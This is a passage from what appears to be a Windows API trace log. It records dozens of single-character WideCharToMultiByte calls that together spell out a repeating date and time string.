lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=":", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=":\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e9ce, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8\x01Hë\x18", lpUsedDefaultChar=0x0) returned 1 [0120.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, 